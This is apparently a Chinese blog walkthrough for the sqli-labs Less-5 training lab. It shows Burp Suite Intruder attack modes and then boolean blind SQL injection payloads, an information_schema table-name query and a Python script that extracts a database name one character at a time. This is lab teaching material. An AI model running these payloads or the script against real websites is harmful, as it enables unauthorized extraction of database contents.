burp suite爆破sqli-labs的 less-5

本文介绍了使用代理工具进行网络抓包,并通过Intruder模块进行暴力破解的四种模式:Sniper、Batteringram、Pitchfork和Clusterbomb。详细解析了每种模式的工作原理和应用场景,特别强调了在payloadset设置中使用ASCII码0~127进行数字替换的原因。最后,讲述了如何通过Grep-Match筛选正确结果并根据响应长度确定正确的ASCII码。

一. 使用proxy抓包,具体数据包如下图:

二. 鼠标右键,将其发送到 intruder中,具体如下图:

三.选择下图选项卡:

1.默认为sniper模式,即如果有多个变量,对每个变量依次进行破解,一次只替换一个变量 也就是说,如果有username和password两个变量,那么它会先对username进行爆>破,password字段不会改变,然后username不变,再对password字段进行爆破

2.Battering ram 模式:对多个变量同时进行破解比如有username和password两个字段,使用字典进行破解,那么每次都会用字典中的一个值将两个变量同时替换

3.pitchfork模式:每个变量对应一个字典,比如username和password,依次取其对应的字典中的一条数据对相应变量进行替换,如果两个字典条数不一样,那么一共会执行条数较少的那么多次,即不会交叉替换,只会按每个字典的顺序进行替换

4.Cluster bomb模式:这种模式在pitchfork模式上进行了改进, 即把不同变量对应的字典中的值进行了排列组合,实现了不同的组合攻击

四.由于上图中我们只添加了一个改变的量,故payload set只需要选择一个,进行简单数字替换

为什么是 0 ~ 127的原因是: ascii 中的 ‘A’-‘Z’,‘a’-‘z’,在 0 ~ 127中。当然你也可以不加ASCII码,直接 ‘A’-‘Z’,‘a’-‘z’ 爆破,效果一样。

==注意==

Payload sets中的 from 0 , to 127,还要加上步长 1 ,截图的时候没有注意!

==注意==

五.将Grep-Match中的全部清楚,由于正确结果会返回” you are in…",故将 ” you are in…"添加进去。

六.根据长度进行筛选,得出正确的ASCII码

其他的表名皆是如此测试…

SQLi - Labs Less 5 是一个基于布尔盲注的 SQL 注入实验。使用 Burp Suite 抓包来解决该题目的步骤如下: ### 1. 配置 Burp Suite 和浏览器 - 启动 Burp Suite,在“Proxy”选项卡中,点击“Options”,确保代理监听地址和端口(默认是 127.0.0.1:8080)正确。 - 配置浏览器代理,使其通过 Burp Suite 进行网络请求。以 Chrome 浏览器为例,可以使用 SwitchyOmega 等扩展来配置代理。 ### 2. 访问目标页面 打开浏览器,访问 sqli - labs less5 的目标页面,通常是类似 `http://your - lab - url/Less - 5/?id=1` 的链接。 ### 3. 开启拦截并发送请求 在 Burp Suite 的“Proxy”选项卡中,点击“Intercept”,确保拦截开关处于开启状态(“Intercept is on”)。在浏览器中刷新目标页面,此时请求会被 Burp Suite 拦截。 ### 4. 构造盲注请求 在 Burp Suite 的拦截窗口中,修改请求的 `id` 参数,构造布尔盲注的 SQL 语句。例如,判断数据库名的第一个字符是否为 `s`: ``` http://your - lab - url/Less - 5/?id=1' AND ASCII(SUBSTR(DATABASE(),1,1))=115 --+ ``` 这里 `ASCII(SUBSTR(DATABASE(),1,1))` 表示获取数据库名的第一个字符的 ASCII 码,`115` 是字符 `s` 的 ASCII 码,`--+` 是 SQL 注释符。 将修改后的请求发送到 Repeater 模块(右键点击请求,选择“Send to Repeater”)。 ### 5. 发送请求并分析响应 在 Repeater 模块中,点击“Go”发送请求。观察响应页面的变化,如果响应页面显示正常(与正常请求的页面相同),则说明判断条件成立;如果页面显示异常(如报错或页面内容不同),则说明判断条件不成立。 ### 6. 循环判断字符 通过不断修改 ASCII 码的值(从 32 到 126 循环尝试),可以逐个获取数据库名、表名、列名等信息。例如,使用 Python 脚本结合 Burp Suite 的 API 来自动化这个过程: ```python import requests url = "http://your - lab - url/Less - 5/?id=1' AND ASCII(SUBSTR(DATABASE(),{pos},1))={ascii} --+" database_name = "" pos = 1 while True: for ascii_code in range(32, 127): full_url = url.format(pos=pos, ascii=ascii_code) response = requests.get(full_url) if "You are in" in response.text: # 根据实际响应内容判断 database_name += chr(ascii_code) pos += 1 break else: break print("Database name:", database_name) ``` ### 7. 继续获取其他信息 使用类似的方法,可以获取表名、列名和数据等信息。例如,获取表名: ``` http://your - lab - url/Less - 5/?id=1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT {offset},1),{pos},1))={ascii} --+ ``` 其中 `{offset}` 用于遍历不同的表。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值